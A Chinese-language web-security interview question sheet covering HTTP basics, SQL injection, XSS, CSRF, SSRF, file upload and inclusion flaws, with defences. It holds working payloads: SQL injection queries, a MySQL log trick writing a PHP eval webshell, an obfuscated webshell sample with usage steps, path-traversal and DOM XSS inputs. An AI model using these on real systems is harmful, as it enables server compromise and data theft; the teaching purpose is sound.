网安面试题(common)
- 什么是网络协议?
通信的双方共同遵守的一种约定。
- 什么是IP地址?
互联网协议地址,为网络中每一位主机分配一个逻辑地址。分为IPV4和IPV6。
- 什么是数据库?
数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。
- 什么是动态网页,什么是静态网页?
用户可以通过动态网页提交数据,与后台数据库进行交互,数据传递;
静态网页以html,htm等为主,只能提供用户访问的内容,无法与用户数据进行交互。
- 请说出3种常见的WEB应用框架组合,包括操作系统,中间件、数据库、编程语言。
- phpstudy的默认根目录?
\phpstudy\www\
- 什么是代理?
代理是网络信息的中转站。代理帮助浏览器像服务器请求信息,而服务器接收到信息后,又发给代理由代理转交给浏览器。
- http请求中get请求和post请求的区别?
- GET提交的数据会放在URL之后,以?分割URL和传输数据,参数之间以&相连。POST方法是把提交的数据放在HTTP包的Body中;
- GET提交的数据大小有限制(因为浏览器对URL的长度有限制),而POST方法提交的数据没有限制。
- 什么是url?
URL:统一资源定位符。
是对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示,是互联网上标准资源的地址。
互联网上的每个文件都有一个唯一的URL,它包含的信息指出文件的位置以及浏览器应该怎么处理它。
- http://192.168.100.200/test.php?id=1 各字段的含义?
http:// : 使用的协议
192.168.100.200 :访问的主机地址
/test.php:访问地址的web根目录下的test.php文件
?:get请求提交的参数分隔符
id=1:当前test.php文件中需要接受的id参数,参数值为1
- 4个常见的http请求头?
Host、Referer、User-agent、Cookie、Accept等等
- http响应码,200,302,403,404的含义?
200 OK:客户端请求成功;
302 redirect:页面暂时性移走,服务器进行重定向跳转,具有被劫持的安全风险;
403 Forbidden:服务器收到请求,但是拒绝提供服务;
404 NotFound:请求的资源不存在,例如,输入了错误的URL。
- 渗透测试和黑客攻击有什么不同?
渗透测试不等同于黑客入侵,不等于黑站。渗透测试一定要遵守法律法规,在取得目标所有者同意授权后,才能实施,并且点到为止,不做任何超出授权范围内的举动。
- 什么是webshell?什么是小马?什么是大马?
webshell:以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。同时webshell又分为一句话木马和大马。
小马:一句话木马指的是代码长度很短的Webshell,一般就一行。
大马:指的是有很多功能的Webshell,包含文件管理,CMD执行,可读写目录查找等。
- 什么是变量?
变量是用于存储信息的"容器",可以被赋予多个值。
- 什么是函数?
函数一种计算规则,将变量带入到函数中计算,不同函数根据不同规则能得到不同的值。 - 请说出$_GET[‘a’] 的含义?
$_GET是一个超全局变量数组,其存储了http中get请求的所有内容。
$_GET[‘a’] 表示提取出当前所有GET请求中键a对应的值。
- 请说出4个php高危函数?
eval、assert、passthru、system、exec shell_exec、phpinfo
- burpsuite中proxy,decoder,intruder,repeater模块的功能是什么?
proxy:代理模块,通过设置本地代理,对浏览器请求的http数据进行拦截和转发
decoder:编码模块,拥有多种编码算法,可用于对字符串编码和特殊字符串解码
intruder:自动化提交模块,可用于暴力破解,字符遍历等需要多次重复性提交的功能
repeater:重放模块,主要用于fuzz测试,观察多种请求和响应的结果,从中找到漏洞点
- burpsuite中intruder模块有哪几种爆破方式?
Sniper(狙击手模式)
Battering ram(攻城锤模式)
Pitchfork(草叉模式)
Cluster bomb(集束炸弹模式)
- 请说出sql注入原理?
开发者对用户输入过滤不严,导致用户输入的内容可以与正常内容进行拼接,形成新的数据库查询语句,从而改变原有的语义,达到攻击者想执行的目的。
- 请说出一般sql注入的步骤?
- 通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不一致,说明我们输入的语句被数据库执行了。
- 通过观察或报错信息来判定输入点的数据类型,数字型,字符型,搜索型。
- 使用order by来确定主查询数目。orderby本质上是一个排序的语法,但是order by有个条件,就是排序必须建立在正确的主查询条数上。所以在注入中用order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询一致。order by只会在超出主查询列数后才会报错,小于或等于主查询列数不报错。
- 使用union select 查询,将主查询项改成负数或不存在,select * from wuser where id = -1 union select 1,2,3。
- 在显示的数字位置上,替换对应的查询语句,database(),version(),user()
- 使用information_schema进行所有内容查询,以下是举例:
a.使用database()得知当前的库名:mlove
b.根据库名列出所有的表名:SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = “库名”
-1 union select 1,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = “mlove”),3
c.根据库名mlove 表名 ccc 列出所有的列名:num,name,age
SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = “库名” AND TABLE_NAME = “表名”
d、知道表名和列名,可以直接查出表的内容
select group_concat(num) from wstu;select group_concat(name) from wstu;select group_concat(age) from ccc;
- sql注入的防御方式?
- 对输入严格过滤和转义
使用addslashes,mysqli_real_escape_string对字符进行过滤或转义,本质基于黑名单,存在绕过可能性;- 预编译和参数化(推荐)
使用pdo的prepare对输入进行预处理;- 部署waf(硬件waf,安全狗)
存在绕过可能性- 云端防护(360网站卫士,阿里云盾)通过dns将用户输入先解析到云防护上,确认安全再请求目标服务器
- mysql注入中,mysql5.0以上版本我们运用的是哪个默认库?
information_schema
- 请说出sql注入中union查询的步骤?
- 通过and 1=1 1=2判断注入点
- 使用order by对主查询进行排序获取主查询列数
- 获得列数后使用-1 union select 1,2,3…查看页面显示
- 在页面显示数字的位置插入数据库查询语句
- 请说出报错型注入有哪些报错函数?至少2个。
updatexml(),extractive(),floor()
- 什么情况下会使用盲注?
有时候,开发人员不会把数据库报错信息显示在前端页面,这样就使我们想要通过union注入或报错注入的攻击方式难以实现。
当不显示报错信息的时候,我们还可以通过盲注的方式来对数据库进行注入攻击。
盲注,顾名思义,就是在页面没有提供明显信息的情况执行的注入方式。
盲注又分为两种,布尔型盲注和时间型盲注。
- 布尔盲注实现原理是什么?使用了哪些函数?
布尔盲注在页面上只显示真或假两种条件。通过特定函数不停发送参数,当页面显示正常的情况下,此时发送的参数即为正确值。
使用的函数有:
length():长度
substr():字符串截取
ascii():ascii编码
- 什么是时间型盲注?使用了哪些函数?
当不管我们如何输入,页面信息都没有任何变化的时候,不提供给攻击者任何有用的信息,这时候就只能尝试时间型盲注。
时间型盲注就是在布尔型盲注的基础上增加了时间的判断。
时间盲注的关键函数是if(),sleep(),通过对布尔型注入的判断,辅以时间延迟的方法,来最终获得注入结果
if(exp1.sleep(5).1),对exp1进行真假判定,如果为真,返回sleep(5),数据库延迟响应5秒,如果为假,直接返回1,结合boolean盲注通过burpsuite查看响应的时间数值来判断
- 什么是宽字节注入?
数据库使用的GBK的编码,在中文编码环境中,一个字符占了2个字节,反斜杠的ascii数字是5c,在宽字节中,81-fe中的任何字符都可以与5c组成一个新的宽字符,当我们在注入点输入%df%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%df%5c在gbk中变为一个宽字符“運”,单引号%27逃逸出来,形成運’,造成注入。
- 什么是urldecode编码注入?
如果某个地方使用了urldecode或者rawurldecode函数的话,就会导致二次解码生成单引号引发注入。
原理是当我们提交web参数的时候,web服务器会自动对url编码进行1次解码,假设目标有了过滤,我们提交id=1%2527时候,没有带单引号(单引号url编码为%27),这时候服务器会自动解码,解码的是%25,而%25的解码结果恰好是%(百分号),就能刚好和剩下的27组合成%27,如果程序里面还有urldecode这样的解码函数的话,将会引发二次解码,这样解码后就变成id=1’,引发注入。
- 什么是二次注入?
如果在初始输入点遇到有sql注入防护的时候,比如addslashes(),我们输入的单引号会被转义,变成反斜杠’。其问题就在于当初始输入被转义后存入数据库中的时候,数据库保存的时候会把\去掉,那一旦我们再次调用该数据的时候,就会形成二次注入。
- sqlmap怎么对post请求进行注入?
- sqlmap.py -u “url” --data=”” 把post参数用data表示出来;
将post请求保存到1.txt,sqlmap.py -r “1.txt”
- 请说出sqlmap中以下参数的含义:
–batch:不需要手动点确定,系统自动按默认执行
–dbms=mysql:指定使用mysql的payload
–level 3:等级设定为3级
- 请说出mysql文件读写的必要前置条件?
show global variables like ‘%secure%’
查看mysql全局变量的配置,得到结果:
secure_file_priv = 空的时候 ,任意读写
secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写
secure_file_priv = NULL 不能读写
- 请说出mysql写入一句话木马的方式
- secure_file_priv 不为null的时候,通过select ‘’ into outfile写入;
- secure_file_priv =null时,可以找机会修改配置,通过日志文件写入:
set global general_log=on;
set global general_log_file=‘C:/phpStudy/WWW/shell.php’;
select ‘<?php @eval($_POST[1]) ;?>’;
- 请逐行翻译以下代码。
//声明是1个php代码文本
<?php
//声明一个变量t,赋予date时间函数计算结果的值,其值为H(小时)的格式。总体来说就是对t赋予当前时间的小时值。
$t=date("H");
//t的值小于10为真的情况
if ($t<"10") {
//输出打印 “Have a good morning”
echo "Have a good morning!";
//t的值小于10为假,并且t的值小于20为真
} elseif ($t<"20") {
//输出打印 "Have a good day!"
echo "Have a good day!";
//t的值小于10为假,并且t的值小于20为假
} else {
//输出打印 "Have a good night!"
echo "Have a good night!";
}
?>
- 什么是xss?
攻击者在有漏洞的前端页面嵌入恶意代码,导致受害者访问页面时不知情的情况下触发恶意代码,获取受害者关键信息。
形成XSS漏洞的原因本质上还是对输入输出的过滤限制不严格,导致精心构造的脚本输入后,在前端被当做有效代码并执行。
- 说说cookie和session的区别?
- 存储的位置不同
cookie:存放在客户端,session:存放在服务端。Session存储的数据比较安全- 存储的数据类型不同
两者都是key-value的结构,但针对value的类型是有差异的
cookie:value只能是字符串类型,session:value是Object类型- 存储的数据大小限制不同
cookie:大小受浏览器的限制,很多是是4K的大小, session:理论上受当前内存的限制- 生命周期的控制
cookie的生命周期当浏览器关闭的时候,就消亡了
(1)cookie的生命周期是累计的,从创建时,就开始计时,20分钟后,cookie生命周期结束,
(2)session的生命周期是间隔的,从创建时,开始计时如在20分钟,没有访问session,那么session生命周期被销毁- 在cookie中,可以看到以sessioID存在的session文件,session文件一般都放置在服务器的tmp目录下,比如php网站,可以通过php.ini查看session存在路径
- 使用实体编码就能防御xss吗?如果不能防御请说明原因,并且谈谈防御xss的方法.
不能。一般的话,实体字符转义只能防范输出在元素内容里面的特殊符号。也有
- 什么是文件上传漏洞?
如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击者可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被getshell。
- 文件上传漏洞的必要条件?
- 上传的文件被Web容器解释执行
- 用户能够从web网页访问到被上传的文件(直接或间接)
- 用户上传的文件通常不能被网站程序压缩、修改内容
- 文件上传使用服务端黑名单过滤后缀名防御,有哪些绕过的方法?
- 黑名单的意思就是服务端不允许哪些后缀名通过,但是存在一定的遗漏,可以尝试以下的后缀名,更改大小写或双写
php:php3,php4,php5,phtml,PHP,pHp,phtm,
jsp:jspx,jspf
asp:asa,cer,aspx
exe:exee- 上传.htaccess伪静态文件绕过,写入 SetHandler application/x-httpd-php,这样所有上传的文件都可以用php来解析执行
- Apache的解析机制绕过
- 利用Windows操作系统的特性,在文件名后加 点 空格 或::$DATA
- 文件上传使用服务端白名单过滤后缀名防御,有哪些绕过的方法?
- 00截断
- 利用中间件解析漏洞
- 制作图片马结合文件包含绕过
- 寻找上传本身的逻辑漏洞
- 配合编辑器漏洞
- 上传木马成功后,可以用哪些工具来管理我们的webshell?
中国菜刀,冰蝎,蚁剑,ckinfe,weevely
- 什么是文件包含漏洞?
当include中引用的变量能够被攻击者控制,并且代码没有做太多过滤的情况下,攻击者就可以控制文件包含的变量进行任意文件读取,甚至可以getshell。
- php中远程文件包含漏洞的必要条件是什么?
在php.ini中,allow_url_include = On
- 请说出php中本地文件包含getshell的前提?
- 存在一个文件包含漏洞点
- 我们有其他可控点可以写入到本地文件
- 写入的本地文件路径可知或可预测
- 本地文件包含getshell的方法有哪些?
包含session文件,包含web日志,包含ssh登录日志,包含mysql日志,包含上传文件,包含临时文件。
- 文件包含中可以利用的php伪协议和通用协议有哪些?
php://filter、php://input、phar://、file://、zip://、data://
- 文件包含和文件下载的测试方法?
linux系统:…/…/…/…/…/…/etc/passwd
windows系统:…/…/…/…/…/…/boot.ini
- 如何防御文件包含漏洞或文件下载漏洞?
- 过滤特殊字符.(点),使用户在url中不能回溯上级目录;
- 正则严格判断用户输入参数的格式;
- php.ini配置open_basedir限定文件访问范围。
- 什么是csrf漏洞?
CSRF,跨站请求伪造,攻击者利用服务器对用户的信任,从而欺骗受害者去服务器上执行受害者不知情的请求。
- CSRF漏洞的防御方法?
- 对referer进行校验。(referer容易被绕过)
- 添加token令牌。token指的就是用户登录的时候,服务器根据用户名和登录时间状态给当前登录的用户分配的一个校验值,当用户的每一次操作的时候,服务器都会对用户操作带有的这个token进行比对,只要比对通过才返回正确响应,如果没有通过那么就拒绝该请求。
- 什么是同源策略?
同源策略,指的是浏览器自身的一种保护机制。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。
同源指的是协议相同,域名相同,端口相同。
- 跨域资源读取的方式有哪些?
- html的标签
- jsonp跨域
- cors跨域资源共享
- jsonp跨域读取漏洞的特征是什么?
- 敏感信息以json格式返回
- 在请求中可见回调函数callback=,或者能猜测出存在回调函数
- 什么是ssrf漏洞?
SSRF(Server-Side Request Forgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制。 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
数据流:攻击者----->服务器---->目标地址
通俗的来说就是我们可以”伪造”服务器端发起的请求,从而获取客户端所不能得到的数据。
- ssrf,xxe或者注入遇到无回显应该怎么用?
遇到无回显的时候,使用DNSlog来判断。
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。
在ceye注册后,会有一个自己的Identifier,这个就是分配给你的域名。使用网站http://api-test.ymcart.com/测试一下,向自己的域名发送请求,然后在ceye的面板上就能看到接收到的信息。
- ssrf防御方法?
限制协议为HTTP、HTTPS
禁止30x跳转
设置URL白名单或者限制内网IP
- 什么是水平越权?什么是垂直越权?
水平越权:访问控制攻击漏洞。
Web应用程序在接收到用户的请求时,我们在增删改查某条数据时候,没有判断数据所对应的用户,
或者在判断数据的用户时是通过从用户表单参数中获取userid来实现的,这里的话我们可以修改userid来实现水平越权。
垂直越权:权限提升攻击。
web应用没有做用户权限控制,或者只是在菜单上做了权限控制,
导致恶意用户只要猜测到其他管理页面的URL,就可以访问或者控制其他角色拥有的数据或者页面,达到权限提升的目的。
- 密码重置有哪些方法?
- 用户的密码找回凭证可暴力破解
- 密码的找回凭证直接返回客户端
- 密码重置的邮箱链接存在弱token
- 密码重置凭证与用户账户关联不严
- 重新绑定手机或邮箱
- 服务端验证的逻辑缺陷
- 本地验证服务端返回信息的逻辑缺陷
- 注册覆盖已有的用户
- session覆盖重置密码
- 防范密码重置逻辑漏洞的方法?
- 在密码找回功能设计时对用户凭证的验证次数和频率进行限制,防止攻击者对用户凭证的暴力枚举攻击;
- 对密码找回的各个环节进行梳理,记录分析所有交互数据,避免密码找回凭证等敏感信息返回客户端;
- 对服务端重置token的生成算法进行审计,避免使用容易被攻击者破解的简单算法;
- 密码重置凭证应与账户严格绑定,并设置有效时间,避免攻击者通过修改账户ID的方式重置他人密码;
- 对客户端传入的数据要进行严格的校验,手机号、邮箱地址等重要信息应和后台数据库中已存储的信息进行核对,不应从客户端传入的参数中直接取用。避免攻击者通过篡改传入数据的方式重置他人密码;对用户注册、手机邮箱绑定等业务逻辑进行审计,避免攻击者通过用户重复注册和越权绑定等漏洞间接重置他人密码。
- PHP命令执行涉及到的敏感函数?
代码执行:
eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()
文件读取:
file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
- 什么是xxe漏洞?
当系统接口允许上传xml格式数据时候,同时没有禁用外部实体引用,攻击者可以通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
- 什么是反弹shell?
目标主动将shell连接发送给攻击方。
- 常见的中间件解析漏洞?
IIS6.0
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
1.文件名的;不解析,可以构造test.asp;.jpg的形式绕过
2.建立.asp或.asa格式目录后,在.asp/下的所有文件都会按照asp解析
IIS7.5和nginx<8.03畸形解析漏洞
在默认Fast-CGI开启状况下,攻击者上传一个名字为1.jpg,内容为的文件,然后访问1.jpg/.php,在这个目录下就会生成一句话木马 shell.php
或者直接访问1/.php,就会被以PHP方式解析
Nginx <=0.8.37
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。
apache
后缀解析:test.php.xx1.xx2.xx3
构造服务器端虚假扩展名检测上传
- 阅读以下代码的问题,并给出漏洞利用payload。
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
存在POST参数continue和load,当load的值不是’add’和’show’的时候,load值会被带入include函数运行,此时对load参数没有任何过滤,形成文件包含漏洞。
漏洞payload:
POST参数 continue=&load=…/…/…/…/…/etc/passwd
- 阅读以下代码的问题,并给出漏洞利用payload。
<?php
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){
$_ = @fopen('t.php', 'a');
@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));
@\$_(\$_POST[1]);?>");
@fclose($_);
}
这是一个webshell。要求GET参数1的值为GET.fPZ87,满足此条件后,再打开t.php文件,将webshell写入,webshell使用字符替换的方式,将ilovey替换成assert
具体payload分两步:
首先在当前文件中执行GET请求,?1=GET.fPZ87
然后在t.php中执行POST请求,添加GET参数2,POST参数1
GET参数:t.php?2=ilovey
POST参数:1=phpinfo()
- 阅读以下代码的问题,并给出漏洞利用payload。
<script>
function dx(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick=" dx()" />
<div id="dom"></div>
该页面存在DOM型XSS
当触发事件属性onclick的时候,会调用dx()函数。
dx ()函数计算过程如下:
定义一个变量str,为其赋值为id=”text”这条元素的属性value的值
同时在id=dom的元素中添加新的元素内容,新的元素内容是一个超链接标签
str输出在标签的href属性中。
漏洞payload:
javascript:alert(1) 输入后点击超链接既可弹框